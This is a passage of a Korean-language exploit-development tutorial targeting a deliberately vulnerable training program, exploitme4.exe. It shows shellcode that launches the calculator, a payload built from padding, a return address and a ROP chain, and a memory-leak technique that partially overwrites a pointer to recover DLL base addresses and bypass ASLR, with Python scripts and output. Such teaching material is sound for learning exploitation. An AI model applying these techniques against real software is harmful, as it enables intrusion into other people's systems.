            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        name = 'a'*32 + readable + 'a'*8 + ret_eip + create_rop_chain() + shellcode
        f.write(name)
 
write_file(r'c:\name.dat')
 
cs


스크립트 실행 후에 exploitme4.exe를 실행 시키고 n 을 입력 했을 때, 정상적으로 동작했다면 계산기가 뜰 것 입니다. 해냈습니다!



정보 노출 익스플로잇


이제 kernel32.dll, ntdll.dll, 그리고 msvcr120.dll의 기본 주소를 모르고 exploitme4.exe을 이용하여 결정해야 한다고 가정해봅시다. (만약 exploitme4.exe를 원격 서비스와 같이 제공한다면 원격 PC에서도 공격이 가능합니다)

 

exploitme4의 코드에서 ptr name 배열의 시작을 가리키고 있습니다.


1
2
3
4
5
6
7
8
class Name {
    char name[32];
    int *ptr;
 
public:
    Name() : ptr((int *)name) {}
<snip>
};
cs


우리는 VFTable을 가리키는 포인터를 읽고 싶지만 ptr 이 조작가능해서 어떤 부분이든 읽을 수 있어도 name 의 주소를 알 수가 없습니다. 이를 위해 부분적으로 덮어 씀으로써 해결 합니다. ptr의 최하단 바이트만 덮어 쓸 것입니다.


1
2
3
4
5
6
def write_file(lsb):
    with open(r'c:\name.dat''wb') as f:
        name = 'a'*32 + chr(lsb)
        f.write(name)
 
write_file(0x80)
cs


ptr의 초기 값은 0xYYYYYYYY라 하면 ptr 을 덮어 쓴 뒤에는 0xYYYYYY80으로 됩니다. 이제 exploitme4.exeWinDbg없이 실행 시키면 다음과 같이 볼 수 있습니다.


Reading name from file...

Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÇ°&!

 0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x

6ca0a0d5]

Do you want to read the name again? [y/n]


보시다시피, ptr에서 가리키는 주소의 8 DWORDs 들을 볼 수 있습니다.


0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x6ca0a0d5


여기에는 “aaaa” (0x61616161)의 흔적이 보이지 않습니다. 우리는 버퍼 name에 넣었기 때문에 좀 더 검색을 해봅니다. 다시 0x60으로 시도해봅니다.


write_file(0x60)


name.dat을 갱신한 뒤에 exploitme4.exe 화면에서 ‘y’을 누르고 메모리 덤프를 확인합니다. exploitme4.exe는 한번에 0x20 씩 보여주기 때문에 ptr에서 0x20 씩 가감을 합니다. name.dat을 갱신한 뒤, 다시 ‘y’ 를 눌러 값들을 확인합니다.


write_file(0x40)

write_file(0x20)

write_file(0x00)

write_file(0xa0)

write_file(0xc0)


0xc0 에서 무엇인가를 찾았습니다.


Reading name from file...

Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa└°&!

 0x00000000 0x0026f8cc 0x011421a0 0x61616161 0x61616161 0x61616161 0x61616161 0x

61616161]

Do you want to read the name again? [y/n]


이를 통해 0x011421a0 VFTable임이 분명해 졌습니다. 이제 VFTable의 내용을 읽어 보도록 하겠습니다.


1
2
3
4
5
6
def write_file(ptr):
    with open(r'c:\name.dat''wb') as f:
        name = 'a'*32 + struct.pack('<I', ptr)
        f.write(name)
 
write_file(0x011421a0)
cs


콘솔에서 다시 ‘y’ 를 누르면 다음 내용을 확인할 수 있습니다.


Reading name from file...

Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaá!¶!

 0x01141000 0x01141020 0x00000048 0x00000000 0x00000000 0x00000000 0x00000000 0x

00000000]

Do you want to read the name again? [y/n]


가상 함수인 0x01141000 0x01141020 2개 포인터가 있습니다. 첫 번째 RVA 0x1000이기 때문에 exploitme4의 기본 주소는 다음과 같습니다.


0:000> ? 01141000 - 1000

Evaluate expression: 18087936 = 01140000


exploitme4.exe IAT 를 이용할 시간입니다.


@exploitme4 + 00002000    kernel32 + 00014a25

@exploitme4 + 00002004    ntdll + 00039dd5

@exploitme4 + 00002024    msvcr120 + 000a4ced


exploitme4.exe의 기본 주소가 0x01140000 임을 찾았기 때문에 다음과 같이 작성할 수 있습니다.


@0x1142000    kernel32 + 00014a25

@0x1142004    ntdll + 00039dd5

@0x1142024    msvcr120 + 000a4ced


처음주소로 ptr을 덮어 써봅시다.


write_file(0x1142000)


프로그램 화면에서 다시 ‘y’를 누르면 다음과 같은 결과를 얻을 수 있습니다.


Reading name from file...

Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

 0x76334a25 0x770f9dd5 0x763334c9 0x76331420 0x763311f8 0x763316f1 0x7710107b 0x

763351fd]

Do you want to read the name again? [y/n]


여기서 0x76334a25 0x770f9dd5 를 얻을 수 있습니다.

 

이제 마지막 한개가 더 필요합니다.


write_file(0x1142024)


다시 ‘y’를 누르면 다음과 같은 결과를 얻을 수 있습니다.


Reading name from file...

Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ ¶!

 0x6ca94ced 0x6ca6bb8d 0x6ca1e25f 0x6ca1c7ce 0x6ca24293 0x6ca6bbb8 0x6ca24104 0x

6ca955eb]

Do you want to read the name again? [y/n]


마지막 값은 0x6ca94ced 입니다.

 

따라서 우리는 다음과 같은 결론을 내릴수 있습니다.


@0x1142000    kernel32 + 00014a25 = 0x76334a25

@0x1142004    ntdll + 00039dd5 = 0x770f9dd5

@0x1142024    msvcr120 + 000a4ced = 0x6ca94ced


kernel32 = 0x76334a25 - 0x00014a25 = 0x76320000

ntdll = 0x770f9dd5 - 0x00039dd5 = 0x770c0000

msvcr120 = 0x6ca94ced - 0x000a4ced = 0x6c9f0000


축하합니다! 우리는 방금 ASLR을 우회했습니다.

 

물론, 이 모든 과정이 원격에서 프로그램이 접근 가능해야 의미가 있고, 또한 실제 익스플로잇에는 자동화가 필요합니다. 여기서 저는 원리에 대해서만 보이려고 했기 때문에 다른 자세한 내용들에 대해서는 생략했습니다. 하지만 걱정하지마세요. 우리가 Internet Explorer 를 다룰 때 실제 익스플로잇에 대해 보게 될 것 입니다.

댓글